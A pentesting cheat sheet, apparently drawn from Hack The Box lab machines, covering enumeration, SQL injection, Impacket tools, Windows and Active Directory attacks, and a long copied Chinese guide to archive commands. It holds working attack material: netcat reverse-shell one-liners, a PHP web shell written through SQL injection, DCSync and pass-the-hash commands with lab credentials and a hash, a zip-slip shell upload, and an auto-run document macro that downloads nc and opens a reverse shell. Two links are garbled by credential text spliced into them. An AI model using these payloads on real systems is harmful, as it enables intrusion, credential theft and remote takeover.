Pentest_Buggy!

WELCOME!

HOW TO - Enumeration

Nmap Enumeration

```
nmap -sC -sV -o nmap.txt IP
```

URL BruteForce pages

1. gobuster

```
   gobuster dir -u IP -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o gobuster_php.txt -x php
```

2. dirb

3. dirbuster

SQL Injection

1. sqlmap

- Method ‘Get' Attack:

- Method ‘POST’ Attack

I Prefer the method with Burp Suite.
Much easier and less worries.

→ Set proxy first, set Preferences->NetWork Settings->Proxy port 8080
→ Copy the POST request to a text file, I have called it search-test.txt and placed it in the sqlmap directory
→ Run sqlmap as shown here; the option -r tells sqlmap to read the search-test.txt file to get the information to attack in the POST request. -p is the parameter we are attacking.

```
./sqlmap.py -r search-test.txt -p parameterstoattack
```

2. Upload webshell using sqlinjection

If we test a sql vuln using this payload:

```
'  union select 1, 2, 3, 4, 5, version()-- -
```

we can use union syntax to upload shell via:

```
' union select "<?php system($_GET['cmd']); ?>",2,3,4,5,6 into outfile
'C:\\inetpub\\wwwroot\\bad.php' #
```

BUT!!! the web root path you should guess it.
Suggest use the sqlmap's brute force path to try.

Linux

Windows

Normal Enum

1. `enum4liunx -a IP` (all option scan)
   `enum4linux -U IP` (found user name)

2. `smbmap -H IP -u username -p password`
   (you could also only use the -H option)

3. `smbclient -L IP`
   to see if there's folder sharing

Impacket Tools

Remote Execution

1. psexec.py

2. smbexec.py

3. atexec.py

4. wmiexec.py

5. dcomexec.py

Kerberos

1. kerbrute.py

```
 python kerbrute.py -domain EGOTISTICAL-BANK.LOCAL -users
usernames.txt -password "test" -outputfile passwords.txt -dc-ip
10.10.10.175 -threads 1000
```

2. GetTGT.py

3. GetST.py

4. GetPac.py

5. GetUserSPNs.py

6. GetNPUsers.py

```
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/HugoSauna -format john -
outputfile test.txt -dc-ip 10.10.10.175
```

7. ticketer.py

8. raiseChild.py

9. GetADUsers.py

Windows Secrets

1. secretsdump.py

2. mimikatz.py

Server Tools/MiTM Attacks

1. ntlmrelayx.py
2. karmaSMB.py
3. smbserver.py

WMI

1.wmiquery.py

2.wmipersist.py

Known Vulnerabilities

1. goldenPac.py
2. sambaPipe.py
3. smbrelayx.py

SMB/MSRPC

1. smbclient.py
2. addcomputer.py
3. getArch.py
4. ifmap.py
5. lookupsid.py
6. opdump.py
7. reg.py
8. rpcdump.py
9. samrdump.py
10. services.py

MSSQL / TDS

1. mssqlinstance.py
2. mssqlclient.py

File Formats

1. esentutl.py

2.ntfs-read.py
3.registry-read.py

Other

1.findDelegation.py
2.GetADUsers.py
3.mqtt_check.py
4.rdp_check.py
5.sniff.py
6.sniffer.py
7.ping.py

HOW TO - Reverse Shell

Pentestmonkey!!!!

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

(Linux) Shell

1. upload nc first, then
   server side: `nc -e /bin/sh ip 3344`
   or `nc ip 3344 -e /bin/sh`
   or `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 3344 >/tmp/f` `(this one better but longer)`

   your kali : `nc -lnvp 3344`

(Windows) Shell

1. `evil-winrm -i ip -u 'username' -p 'password'`

2. upload nc first, then
   server side: `.\nc.exe -e powershell ip 3344`
   your kali : `nc -lnvp 3344`

HOW TO - Privilege Escalation

Linux

Enumeration For Privilege Escalation

Lots of commands helps with pri escalation: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md

1. lse.sh

2. linenum.sh

3. Cronjobs
4. What file can we read ?

Privilege Escalation Using PATH Variable

Knowledge You Should Know: https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

GTFOBins

Knowledge You Should Know:
https://gtfobins.github.io/

Windows

Enumeration For Privilege Escalation

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20E DefaultDomainName : EGOTISTICALBANK
    DefaultUserName : EGOTISTICALBANK\svc_loanmanager
    DefaultPassword : Moneymakestheworldgoround!
scalation.md

1. PowerUp.ps1

```
> Import-Module .\PowerUp.ps1
> Invoke-AllChecks | Out-File -Encoding ASCII bug_checks.txt
```

2. Watson

Download: https://github.com/rasta-mouse/Watson

First you will need to get the version of .NET being used on the target machine. You can find the installed version in `C:\windows\microsoft.net\framework\`

Next you will need to download the project from the Watson Github Page. The next steps need to be done on a Windows machine or a Windows VM using Visual Studio.

In Visual Studio, you will have the option to open a project folder. Select the Entire folder. Next On the right hand side you will see a file called watson.sln. Double click that to open up the project. Now you will Right click the Project Watson (step 1 in image) and select properties (step 2 in image). Under “application” (step 3), you can set the target framework to the version you would like which should be version 4.0 in our case.

3. winPEAS !

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/treevil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'e/master/-winPEAS

(I download it at /root/Desktop/windows_tool)

→ `.\winPEASx64.exe cmd > run_result.txt`

4. PowerView.ps1

AD Attack (Active Directory Attack)

The Knowledge you should know:

- https://github.com/infosecn1nja/AD-Attack-Defense

- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md

- How to check if AD is working ?

→ run the console utility Dcdiag !

https://activedirectorypro.com/dcdiag-check-domain-controller-health/

→ `dcdiag /s:DC1`

1. Uplodate SharpHound.exe or SharpHound.ps1
2. Then execute SharpHound to make the .zip file we need in powershell→ `cmd.exe ; .\SharpHound.exe -c all`

3.Then open BloodHound ->
(Remember open the neo4j database frist)
→ neo4j start
→ bloodhound

4. Then load the .zip file to bloodhound
5. check the path you want to root

For example , if there's a GetChangeAll function could use dcsync attack.

- `lsadump::dcsync /domain:testlab.local /user:Administrator`

OR use the secretdump.py !

- `secretsdump.py 'EGOTISTICALBANK/svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'`

6. Finally, use the new hashes to login as Administrator wtih wmiexec.py

```
→ wmiexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff
administrator@10.10.10.175
```

Servie Abuse

(in RE box)

Maybe you can find it via PowerUp.ps1

```
PS C:\temp> Import-Module .\PowerUp.ps1
Import-Module .\PowerUp.ps1
PS C:\temp> Invoke-AllChecks

[*] Checking service permissions...


ServiceName   : UsoSvc
Path          : C:\tmp\nc64.exe 10.10.14.8 8181 -e cmd.exe
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
```

So!!!

```
Invoke-ServiceAbuse -Name UsoSvc -Command "C:\bug\nc.exe 10.10.14.133
7788 -e cmd.exe"
```

Switch User In Windows

1.
```
$pass = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('CONTROL\hector', $pass)
Invoke-Command -ComputerName sniper -Credential $cred -ScriptBlock { C:\tmp\nc.exe -e cmd.exe 10.10.15.82 1133 }
```

2.
```
$username = "CONTROL\hector" ; $pw = "l33th4x0rhector"
$password = $pw | ConvertTo-SecureString -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $username,$password
New-PSSession -Credential $cred | Enter-PSSession
```

Kill Port Process

`fuser -k 8000/tcp`

Start Simple HTTP Server

1. `pythom -m SimpleHTTPServer`

(Windows) Download Files

1. `wget http://myIP:port/myfile -O myfile.exe`

2. `(new-object`

`System.Net.WebClient).DownloadFile('http://ip:port/file.exe', 'Path/file.exe')`

3. `curl http://example.org/picture.jpg -O picture.jpg`

4. `Invoke-WebRequest http://example.org/picture.jpg -O picture.jpg`

5. Centutil.exe
https://wsygoogol.github.io/2018/12/17/%E6%94%BB%E5%87%BB%E8%80%85%E5%88%
exe%E6%A4%8D%E5%85%A5%E6%81%B6%E6%84%8F%E8%
→ `certutil.exe -decode input.txt output.exe`

Linux UnZip Files

Copied from http://note.drx.tw/2008/04/command.html

.tar (僅打包，無壓縮)

套件名稱：tar。
打包：

```
[ jonny@linux ~ ]
$ tar cvf FileName.tar DirName
```

解包：

```
[ jonny@linux ~ ]
$ tar xvf FileName.tar
```

.gz

套件名稱：gzip。
壓縮

```
[ jonny@linux ~ ]
$ gzip FileName
```

解壓縮 1：

```
[ jonny@linux ~ ]
$ gunzip FileName.gz
```

解壓縮 2：

```
[ jonny@linux ~ ]
$ gzip -d FileName.gz
```

.tar.gz

套件名稱：gzip。
壓縮：

```
[ jonny@linux ~ ]
$ tar zcvf FileName.tar.gz DirName
```

解壓縮：

```
[ jonny@linux ~ ]
$ tar zxvf FileName.tar.gz
```

bz

壓縮：unkown。

解壓縮 1：

```
[ jonny@linux ~ ]
$ bzip2 -d FileName.bz
```

解壓縮 2：

```
[ jonny@linux ~ ]
$ bunzip2 FileName.bz
```

.tar.bz

壓縮：unkown。

解壓縮：

```
[ jonny@linux ~ ]
$ tar jxvf FileName.tar.bz
```

.bz2

套件名稱：bzip2。
壓縮：

```
[ jonny@linux ~ ]
$ bzip2 -z FileName
```

解壓縮 1：

```
[ jonny@linux ~ ]
$ bzip2 -d FileName.bz2
```

解壓縮 2：

```
[ jonny@linux ~ ]
$ bunzip2 FileName.bz2
```

.tar.bz2

套件名稱：bzip2。
壓縮：

```
[ jonny@linux ~ ]
$ tar jcvf FileName.tar.bz2 DirName
```

解壓縮：

```
[ jonny@linux ~ ]
$ tar jxvf FileName.tar.bz2
```

.tar.bz2 (parallel)

套件名稱：lbzip2。

壓縮：

```
[ jonny@linux ~ ]
$ tar -I lbzip2 -cvf FileName.tar.bz2 DirName
```

.xz

套件名稱：xz-utils。

壓縮：

```
[ jonny@linux ~ ]
$ xz -z FileName
```

解壓縮：

```
[ jonny@linux ~ ]
$ xz -d FileName.xz
```

.tar.xz

套件名稱：xz-utils。

壓縮：

```
[ jonny@linux ~ ]
$ tar Jcvf FileName.tar.xz DirName
```

解壓縮：

```
[ jonny@linux ~ ]
$ tar Jxvf FileName.tar.xz
```

.Z

壓縮：

```
[ jonny@linux ~ ]
$ compress FileName
```

解壓縮：

```
[ jonny@linux ~ ]
$ uncompress FileName.Z
```

.tar.Z

壓縮：

```
[ jonny@linux ~ ]
$ tar Zcvf FileName.tar.Z DirName
```

解壓縮：

```
[ jonny@linux ~ ]
$ tar Zxvf FileName.tar.Z
```

.tgz

套件名稱：gzip。
壓縮：

```
[ jonny@linux ~ ]
$ tar zcvf FileName.tgz FileName
```

解壓縮：

```
[ jonny@linux ~ ]
$ tar zxvf FileName.tgz
```

.tar.tgz

套件名稱：gzip。
壓縮：

```
[ jonny@linux ~ ]
$ tar zcvf FileName.tar.tgz FileName
```

解壓縮：

```
[ jonny@linux ~ ]
$ tar zxvf FileName.tar.tgz
```

.7z

套件名稱：p7zip-full。

壓縮：

```
[ jonny@linux ~ ]
$ 7z a FileName.7z FileName
```

使用密碼 (PASSWORD) 壓縮：

```
[ jonny@linux ~ ]
$ 7z a FileName.7z FileName -pPASSWORD
```

解壓縮：

```
[ jonny@linux ~ ]
$ 7z x FileName.7z
```

.zip

套件名稱：zip。
壓縮：

```
[ jonny@linux ~ ]
$ zip -r FileName.zip DirName
```

解壓縮：

```
[ jonny@linux ~ ]
$ unzip FileName.zip
```

.rar

套件名稱：rar, unrar。
壓縮：

```
[ jonny@linux ~ ]
$ rar a FileName.rar DirName
```

解壓縮 1：

```
[ jonny@linux ~ ]
$ rar e FileName.rar
```

解壓縮 2：

```
[ jonny@linux ~ ]
$ unrar e FileName.rar
```

解壓縮 3：在指定目錄內解壓縮。

```
[ jonny@linux ~ ]
$ rar x FileName.rar DirName
```

.lha

套件名稱：lha。
壓縮：

```
[ jonny@linux ~ ]
$ lha -a FileName.lha FileName
```

解壓縮：

```
[ jonny@linux ~ ]
$ lha -e FileName.lha
```

Cracking Hashes

Zip Slip Attack

First , `mkdir -p ../../../../inetpub/wwwroot/blog` in our kali
then copy the shell to path

root@kali:~/Desktop/htb/RE/zipslip# `cp ../InsomniaShell.aspx "../../../../inetpub/wwwroot/blog/"`
then zip it
root@kali:~/Desktop/htb/RE/zipslip# `zip -r note.zip "../../../../inetpub/wwwroot/blog/InsomniaShell.aspx"`

Change Permission In Windows

```
icacls susvc.ps1 /grant Everyone:F
```

Find File Content In LINUX

find path -name “*.txt” -exec grep -H “content” {} \;

HOW TO -Create Evil .ods File

First, create a evil .ods file

1. `msf5 > use exploit/multi/misc/openoffice_document_macro`
2. `set target 0`
3. `set FILENAME payload.ods`
4. `run`

Then , You could set evil command in macro(set it to auto run when openning file)

Also, you could use the cretutil to upload files.
https://github.com/dyloot43/ods/blob/master/odf.xml

smt like this:

```
Sub OnLoad
 MkDir "C:\bug"
 If Len(Dir("C:\bug", vbDirectory)) = 0 Then
 Shell("certutil.exe -urlcache -split -f 'http://10.10.14.132:8000/test.exe' .\nc.exe")
 End If
 Shell("certutil.exe -urlcache -split -f 'http://10.10.14.132:8000/nc.exe' C:\bug\nc.exe")
 Shell("C:\bug\nc.exe 10.10.14.132 3344 -e cmd.exe")
End Sub
```